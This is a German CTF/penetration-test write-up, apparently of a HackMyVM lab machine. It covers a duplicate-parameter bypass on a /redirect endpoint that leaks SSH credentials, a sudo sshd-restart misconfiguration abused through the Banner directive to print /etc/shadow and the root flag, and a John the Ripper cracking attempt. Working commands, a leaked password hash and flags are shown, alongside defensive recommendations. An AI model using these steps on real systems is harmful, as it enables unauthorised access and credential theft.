Analyse: Nmap bestätigt mit `--reason`, dass Port 22 auf der *neuen* IP `192.168.2.170` offen ist (Antwort: `syn-ack`). Ein direkter SSH-Login-Versuch auf diese IP schlägt jedoch mit `Connection reset by peer` fehl.

Bewertung: Der Port ist offen, aber der SSH-Dienst scheint Verbindungen sofort abzulehnen oder zurückzusetzen. Dies könnte an einer Firewall-Regel liegen, einer fehlerhaften SSHD-Konfiguration, oder weil der Dienst gerade neu gestartet wird oder abgestürzt ist.

Empfehlung (Pentester): Kurz warten und erneut versuchen. Andere SSH-Optionen testen (z.B. `-v` für Verbose-Output). Den Exploit-Pfad über Port 8080 weiterverfolgen.
Empfehlung (Admin): SSHD-Logs auf dem Zielsystem prüfen (`/var/log/auth.log` oder ähnlich), um den Grund für den Verbindungsabbruch zu finden. Firewall-Regeln überprüfen.

Vorbereitende Schritte (Unklar)

+--(pwn)-(root?CCat)-[/usr/share/wordlists] +-# vi rockyou.txt
# (Keine Ausgabe)
+--(pwn)-(root?CCat)-[/usr/share/wordlists] +-# python3 ~/crack_SSH.py
# (Keine Ausgabe)

Analyse: Öffnen der `rockyou.txt`-Wortliste im Editor und Ausführen eines Python-Skripts namens `crack_SSH.py`.

Bewertung: Der Zweck dieser Schritte ist unklar, da sie nicht direkt zum erfolgreichen Exploit beitragen. Möglicherweise Vorbereitung für einen Brute-Force-Angriff, der nicht erfolgreich war oder nicht gezeigt wird.

Empfehlung (Pentester): Nur relevante Schritte im Bericht aufführen oder den Zweck unklarer Schritte erläutern.
Empfehlung (Admin): Keine Aktion erforderlich.

Initial Access (SSH)

Durchbruch: /redirect Parameter Vulnerability

+--(root?CCat)-[~] +-# curl -X GET "http://192.168.2.170:8080/redirect?url=ben&url=/credz"
ssh/EazyLOL

Analyse: Ein `curl`-Request an den `/redirect`-Endpunkt auf `192.168.2.170`. Es werden *zwei* `url`-Parameter übergeben: `url=ben` und `url=/credz`.

Bewertung: Kritischer Erfolg! Dieser spezielle Request umgeht offenbar die "Only accessible internally"-Beschränkung für `/credz`. Die Anwendung scheint nur den ersten `url`-Parameter (`ben`) für eine mögliche (unzureichende) Validierung zu verwenden, aber verarbeitet dann den zweiten `url`-Parameter (`/credz`) und gibt dessen Inhalt zurück. Der Inhalt von `/credz` sind die Zugangsdaten: Benutzer `ssh`, Passwort `EazyLOL`.

Empfehlung (Pentester): Die gefundenen Zugangsdaten (`ssh`/`EazyLOL`) sofort für den SSH-Login verwenden.
Empfehlung (Admin): Die Parameterverarbeitung im `/redirect`-Endpunkt dringend korrigieren. Nur den ersten Parameter eines Namens berücksichtigen oder doppelte Parameter generell ablehnen. Den Inhalt von `/credz` entfernen und Zugangsdaten sicher verwalten.

SSH Login

+--(root?CCat)-[~] +-# ssh ssh@192.168.2.170
ssh@192.168.2.170's password: # (Hier wurde EazyLOL eingegeben)
Welcome to Alpine!

The Alpine Wiki contains a large amount of how-to guides and general
information about administrating Alpine systems.
See .

You can setup the system with the command: setup-alpine

You may change this message by editing /etc/motd.

jan:~$ id
uid=1000(ssh) gid=1000(ssh) groups=1000(ssh)
jan:~$
                     

Analyse: Erfolgreicher SSH-Login auf `192.168.2.170` mit den zuvor gefundenen Zugangsdaten (Benutzer: `ssh`, Passwort: `EazyLOL`). Der `id`-Befehl bestätigt die Benutzer- und Gruppen-ID.

Bewertung: Initial Access erfolgreich erlangt! Der Benutzer `ssh` hat Standardrechte (uid=1000).

Empfehlung (Pentester): System weiter enumerieren: `sudo -l`, Home-Verzeichnis prüfen, nach Flags suchen, nach PrivEsc-Möglichkeiten suchen.
Empfehlung (Admin): Schwachstelle in `/redirect` beheben. Stärkere Passwörter verwenden. Überwachen von SSH-Logins.

Sudo-Rechte Prüfung

jan:~$ sudo -l
Matching Defaults entries for ssh on jan:
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for ssh:
    Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"

User ssh may run the following commands on jan:
    (root) NOPASSWD: /sbin/service sshd restart
                     

Analyse: Der Befehl `sudo -l` wird ausgeführt, um zu prüfen, welche Befehle der Benutzer `ssh` mit `sudo` ausführen darf.

Bewertung: Kritischer Fund für Privilege Escalation! Der Benutzer `ssh` darf den Befehl `/sbin/service sshd restart` als `root` ohne Passwort (`NOPASSWD`) ausführen. Dies ist ein häufiger Vektor für PrivEsc, da man oft die Konfigurationsdatei des Dienstes (hier `/etc/ssh/sshd_config`) ändern und dann den Dienst neu starten kann, um Änderungen wirksam zu machen oder Befehle als root auszuführen.

Empfehlung (Pentester): Prüfen, ob die Datei `/etc/ssh/sshd_config` für den Benutzer `ssh` schreibbar ist oder ob es eine Möglichkeit gibt, sie zu manipulieren. Den `sudo`-Eintrag nutzen, um eine manipulierte SSH-Konfiguration zu laden.
Empfehlung (Admin): `sudo`-Rechte nach dem Prinzip der geringsten Rechte vergeben. Das Neustarten von Diensten sollte nur Administratoren erlaubt sein. Wenn ein Benutzer einen Dienst neu starten muss, spezifischere Befehle oder Skripte freigeben, die keine Konfigurationsänderungen erlauben.

User Flag Fund

jan:~$ grep -E "Welcome to Alpine!" /etc/*
/etc/motd:Welcome to Alpine!
grep: /etc/shadow: Permission denied
grep: /etc/shadow-: Permission denied
grep: /etc/sudoers: Permission denied
grep: /etc/sudoers.d: Permission denied
                      
jan:/tmp$ echo "/root/root.txt" >> /etc/motd
-sh: can't create /etc/motd: Permission denied
jan:/tmp$ cd ~
jan:~$ ls -la
total 12
drwxr-sr-x    2 ssh      ssh           4096 Jan 28 09:27 .
drwxr-xr-x    3 root     root          4096 Jan 28 09:08 ..
lrwxrwxrwx    1 root     ssh              9 Jan 28 09:27 .ash_history -> /dev/null
-rw-------    1 ssh      ssh             22 Jan 28 09:20 user.txt
                      
jan:~$ cat user.txt
HMVSSWYMCNFIBDAFMTHFK

Analyse: Verschiedene Befehle im Home-Verzeichnis und `/tmp`. `grep` findet die Willkommensnachricht in `/etc/motd`. Der Versuch, `/etc/motd` zu ändern, scheitert an fehlenden Rechten. `ls -la` im Home-Verzeichnis (`~`) zeigt die Datei `user.txt`. `cat user.txt` liest die User-Flag aus.

Bewertung: User-Flag erfolgreich gefunden und ausgelesen.

Empfehlung (Pentester): Flag notieren. Mit Privilege Escalation fortfahren.
Empfehlung (Admin): Flags nicht in Klartextdateien speichern. Zugriffsrechte auf Konfigurationsdateien wie `/etc/motd` korrekt setzen.

Proof of Concept: Privilege Escalation via SSH Banner

Kurzbeschreibung: Dieser POC demonstriert die Ausnutzung der `sudo`-Fehlkonfiguration, die es dem Benutzer `ssh` erlaubt, den SSH-Dienst ohne Passwort neu zu starten (`sudo /sbin/service sshd restart`). In Kombination mit der Möglichkeit, die SSH-Konfigurationsdatei (`/etc/ssh/sshd_config`) zu bearbeiten (oder einer Schwachstelle, die dies erlaubt - im Text nicht explizit gezeigt, aber impliziert), wird die `Banner`-Direktive manipuliert, um den Inhalt von `/root/root.txt` beim nächsten SSH-Login anzuzeigen.

Voraussetzungen:

Schritt-für-Schritt-Anleitung:

  1. Überprüfen der `sudo`-Rechte:
    jan:~$ sudo -l
    User ssh may run the following commands on jan:
        (root) NOPASSWD: /sbin/service sshd restart
                               

    Analyse: Bestätigt das Recht, den SSH-Dienst als root neu zu starten.

  2. Bearbeiten der SSH-Konfiguration:
    jan:~$ nano /etc/ssh/sshd_config
    # Innerhalb von nano die folgende Zeile ändern oder hinzufügen:
    # Banner /etc/motd  (oder andere ursprüngliche Einstellung)
    # ÄNDERN ZU:
    Banner /root/root.txt
                               

    Analyse: Die `Banner`-Direktive in `/etc/ssh/sshd_config` wird so geändert, dass sie auf die Root-Flag-Datei zeigt. Der Inhalt dieser Datei wird dann jedem Benutzer vor dem Passwort-Prompt beim SSH-Login angezeigt.

  3. Neustarten des SSH-Dienstes mit `sudo`:
    jan:~$ sudo /sbin/service sshd restart
     * Stopping sshd ...                                                                    [ ok ]
     * Starting sshd ...                                                                    [ ok ]
                               

    Analyse: Der SSH-Dienst wird mit den `sudo`-Rechten neu gestartet, wodurch die geänderte Konfiguration mit dem manipulierten Banner geladen wird. Die aktuelle SSH-Verbindung wird dabei getrennt.

  4. Erneuter SSH-Login zur Anzeige des Banners (Root-Flag):
    +--(root?CCat)-[~] +-# ssh ssh@192.168.2.170
    HMV2PRMTERWTFUDNGMBG
    ssh@192.168.2.170's password: # (Login kann hier abgebrochen werden)
                               

    Analyse: Beim erneuten SSH-Login wird der Inhalt der Datei `/root/root.txt` als Banner angezeigt, *bevor* das Passwort abgefragt wird.

Erwartetes & Tatsächliches Ergebnis: Der Inhalt der Root-Flag (`HMV2PRMTERWTFUDNGMBG`) wird erfolgreich über das SSH-Banner ausgelesen. Dies stellt eine erfolgreiche Privilege Escalation dar, da auf eine Datei mit Root-Rechten zugegriffen wurde.

Beweismittel: Die Anzeige des Root-Flag-Wertes beim SSH-Login.

Risikobewertung: Hoch. Die Fehlkonfiguration der `sudo`-Rechte erlaubt es einem unprivilegierten Benutzer, durch Manipulation der SSH-Konfiguration beliebige Dateien auszulesen, auf die der `sshd`-Prozess (der initial als root startet, um den Banner zu lesen) Zugriff hat. Dies führt zum Verlust der Vertraulichkeit sensibler Daten.

Empfehlungen (Admin):

Privilege Escalation

Find Setuid Binaries

jan:~$ find / -type f -perm -4000 2>/dev/null
/bin/bbsuid
/usr/bin/sudo
                    

Analyse: Suche nach Dateien mit gesetztem Setuid-Bit (`-perm -4000`). Fehler (`2>`) werden nach `/dev/null` umgeleitet.

Bewertung: Findet `/bin/bbsuid` (unbekannt, könnte BusyBox-spezifisch sein) und `/usr/bin/sudo` (bereits als Vektor identifiziert).

Empfehlung (Pentester): `/bin/bbsuid` untersuchen, falls der `sudo`-Weg nicht bekannt wäre. Hier ist `sudo` der klare Weg.
Empfehlung (Admin): Unnötige Setuid-Binaries entfernen oder deren Berechtigungen überprüfen.

Fehlgeschlagener Root-Shell Versuch

jan:~$ sudo -u root /bin/sh
[sudo] password for ssh: # (Passwort EazyLOL eingegeben)
Sorry, user ssh is not allowed to execute '/bin/sh' as root on jan.
                    

Analyse: Versuch, direkt eine Root-Shell (`/bin/sh`) mit `sudo` zu starten.

Bewertung: Fehlgeschlagen, wie erwartet, da `sudo -l` dies nicht erlaubt hat.

Empfehlung (Pentester): Den erlaubten `sudo`-Befehl (`/sbin/service sshd restart`) ausnutzen.
Empfehlung (Admin): Korrekte `sudo`-Konfiguration.

Manipulation der SSH-Konfiguration (Versuch 1: id_rsa)

jan:~$ nano /etc/ssh/sshd_config
jan:~$ grep banner -i /etc/ssh/sshd_config
# no default banner path
Banner /root/.ssh/id_rsa
                     
jan:~$ sudo /sbin/service sshd restart
 * Stopping sshd ...                                                                    [ ok ]
 * Starting sshd ...
# (Kommentar im Text: Leider kein Erfolg....)
                     

Analyse: Erster Versuch, die PrivEsc über den SSH-Banner auszunutzen. Die `Banner`-Direktive wird auf `/root/.ssh/id_rsa` gesetzt und der Dienst neu gestartet.

Bewertung: Fehlgeschlagen (laut Kommentar). Wahrscheinlich, weil die Datei `/root/.ssh/id_rsa` nicht existiert oder für den `sshd`-Prozess vor der Authentifizierung nicht lesbar ist.

Empfehlung (Pentester): Andere Zieldateien für den Banner versuchen, die wahrscheinlich existieren und lesbar sind (z.B. `/etc/shadow`, `/root/root.txt`).
Empfehlung (Admin): Konfigurationsdateien schützen.

Manipulation der SSH-Konfiguration (Versuch 2: /etc/shadow)

jan:~$ grep -i banner /etc/ssh/sshd_config
# no default banner path
Banner /etc/shadow
                     
jan:~$ sudo /sbin/service sshd restart
 * Stopping sshd ...                                                                    [ ok ]
 * Starting sshd ...                                                                    [ ok ]
jan:~$ # (Verbindung wird geschlossen)
                     
+--(root?CCat)-[~] +-# ssh ssh@192.168.2.170
#DIRTYCTFLOLBUTPAZZNOTNEEDED <<=== :) kein BruteForce nötig

root:$6$QBMHIEgcztCuLI0w$6mEXyvVKjT3gW8r0Ck99QElCdHdi32m6fzCkwv613kbqBVqt9FttRbcGXhf9Eg6q0PKj6FuvZr2QmupOLzG/e1:20116:0:::::
bin:!::0:::::
# ... (restliche /etc/shadow Einträge) ...
ssh:$6$X9w2fIhun4erCQ0g$sX6uU920JjNVy70vsILZIV5CA83BZhm0FT7HofU4PPqu/oLI69K.nN/14v4vmmwv62jwUwdaw0BOR3qICICDV/:20116:0:99999:7:::
ssh@192.168.2.170's password: # (Login kann hier abgebrochen werden)
# (Kommentar im Text: Super Erfolg!!!!)
                     

Analyse: Die `Banner`-Direktive wird nun auf `/etc/shadow` gesetzt, der SSH-Dienst neu gestartet und ein neuer Login-Versuch unternommen.

Bewertung: Erfolgreich! Der Inhalt von `/etc/shadow`, einschließlich des Passwort-Hashes für den Benutzer `ssh`, wird im Banner angezeigt. Dies bestätigt die Ausnutzbarkeit der `sudo`-Regel in Kombination mit der Banner-Funktion zum Auslesen von Dateien.

Empfehlung (Pentester): Den Hash des `ssh`-Benutzers extrahieren und versuchen, ihn offline zu knacken (wie im nächsten Schritt gezeigt). Den endgültigen Exploit mit `/root/root.txt` als Banner durchführen.
Empfehlung (Admin): `sudo`-Regel korrigieren. SSH-Konfiguration schützen. Banner-Funktion überdenken.

Offline Hash Cracking Versuch (John)

+--(root?CCat)-[~] +-# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:01:24 13.86% (ETA: 22:59:33) 0g/s 25965p/s 25965c/s 25965C/s 91nuthouse69..91031112902
Session aborted
                     

Analyse: `john` (John the Ripper) wird verwendet, um den extrahierten SHA512crypt-Hash (`$6$`) des `ssh`-Benutzers mit der `rockyou.txt`-Wortliste zu knacken.

Bewertung: Der Cracking-Versuch wird nach kurzer Zeit abgebrochen (`Session aborted`). Das Passwort `EazyLOL` befindet sich nicht am Anfang der `rockyou.txt` oder wurde nicht schnell genug gefunden.

Empfehlung (Pentester): Längere Cracking-Zeit einplanen oder stärkere GPUs/CPUs verwenden. Da das Passwort bereits durch die `/credz`-Schwachstelle bekannt ist, ist dieser Schritt hier eigentlich redundant.
Empfehlung (Admin): Starke, nicht in Wörterbüchern enthaltene Passwörter verwenden.

Manipulation der SSH-Konfiguration (Versuch 3: /root/root.txt - Final)

jan:~$ nano /etc/ssh/sshd_config
#-----------------------------------------------------------------
# Relevant snippet after change:
PermitRootLogin yes
#-----------------------------------------------------------------
# ...
# Banner /etc/shadow (previous setting)
# ÄNDERN ZU:
Banner /root/root.txt
#-----------------------------------------------------------------
                      
jan:~$ grep -Ei "PermitRootLogin" /etc/ssh/sshd_config
PermitRootLogin yes
jan:~$ sudo -l
User ssh may run the following commands on jan:
    (root) NOPASSWD: /sbin/service sshd restart
                      
jan:~$ sudo /sbin/service sshd restart
 * Stopping sshd ...                                                                    [ ok ]
 * Starting sshd ...                                                                    [ ok ]
jan:~$ # (Verbindung wird geschlossen)
                       

Analyse: Die SSH-Konfiguration wird erneut bearbeitet. Diesmal wird die `Banner`-Direktive auf `/root/root.txt` gesetzt. `PermitRootLogin yes` wird ebenfalls überprüft (war aber für diesen Exploit nicht relevant). Der SSH-Dienst wird mit `sudo` neu gestartet.

Bewertung: Dies ist der finale Schritt der Privilege Escalation. Durch den Neustart wird die Konfiguration aktiv, die die Root-Flag als Banner anzeigt.

Empfehlung (Pentester): Erneut per SSH verbinden, um den Banner (die Root-Flag) zu sehen.
Empfehlung (Admin): Siehe vorherige Empfehlungen zur Absicherung von `sudo` und SSH.

Root Flag Erhalt

+--(root?CCat)-[~] +-# ssh ssh@192.168.2.170
HMV2PRMTERWTFUDNGMBG
ssh@192.168.2.170's password: # (Login kann hier abgebrochen werden)
                     

Analyse: Erneuter SSH-Login-Versuch.

Bewertung: Erfolgreich! Die Root-Flag `HMV2PRMTERWTFUDNGMBG` wird als SSH-Banner angezeigt. Privilege Escalation abgeschlossen.

Empfehlung (Pentester): Root-Flag notieren. Test abgeschlossen.
Empfehlung (Admin): System sichern!

Flags

cat /home/ssh/user.txt
HMVSSWYMCNFIBDAFMTHFK
cat /root/root.txt (via SSH Banner)
HMV2PRMTERWTFUDNGMBG

Zusammenfassung & Empfehlungen

Zusammenfassende Bewertung der Sicherheitslage: Das System "jan.hmv" weist kritische Schwachstellen auf, die zu einem initialen Zugriff über schwache/entdeckte Credentials und anschließend zu einer vollständigen Rechteausweitung führten. Die Hauptschwachstellen waren eine unsichere Webanwendung (Parameter-Parsing-Fehler in `/redirect`, der den Zugriff auf interne Ressourcen wie `/credz` ermöglichte) und eine unsichere `sudo`-Konfiguration, die das Auslesen beliebiger Dateien über die SSH-Banner-Funktion erlaubte.

Identifizierte Verletzlichkeiten (Zusammenfassung):

Allgemeine Empfehlungen:

Empfehlung (Admin):

  1. Webanwendung (Port 8080):
    • Die Parameterverarbeitung für `/redirect` korrigieren, um doppelte Parameter oder unerwartete Eingaben sicher zu handhaben.
    • Eine robuste Whitelist für erlaubte Ziel-URLs in `/redirect` implementieren und Zugriffe auf interne Ressourcen oder `file://` blockieren.
    • Den Endpunkt `/credz` entfernen oder mit starker Authentifizierung/Autorisierung schützen. Zugangsdaten niemals in Klartext speichern oder über Web-Endpunkte verfügbar machen.
    • Fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`, `Content-Security-Policy`, etc.) implementieren.
    • Gefundene Backup-Dateien aus dem Web-Verzeichnis entfernen und sicherstellen, dass keine Backups in öffentlich zugängliche Bereiche geschrieben werden.
  2. System & SSH:
    • Die `sudo`-Regel für den Benutzer `ssh` entfernen oder so einschränken, dass der SSH-Dienst nicht mehr als root neu gestartet werden kann.
    • Sicherstellen, dass die SSH-Konfigurationsdatei `/etc/ssh/sshd_config` nur für `root` schreibbar ist.
    • SSH-Zugriff generell härten: Starke Passwörter oder (besser) Key-basierte Authentifizierung erzwingen. `Fail2ban` oder ähnliche Tools zur Abwehr von Brute-Force-Angriffen einsetzen.
    • Die Verwendung der SSH-Banner-Funktion überdenken und deaktivieren, wenn sie nicht zwingend benötigt wird.
  3. Allgemeine Sicherheitspraktiken:
    • Regelmäßige Sicherheitsüberprüfungen und Penetrationstests durchführen.
    • System und alle Komponenten aktuell halten (Patches).
    • Logging und Monitoring von System- und Anwendungsereignissen implementieren.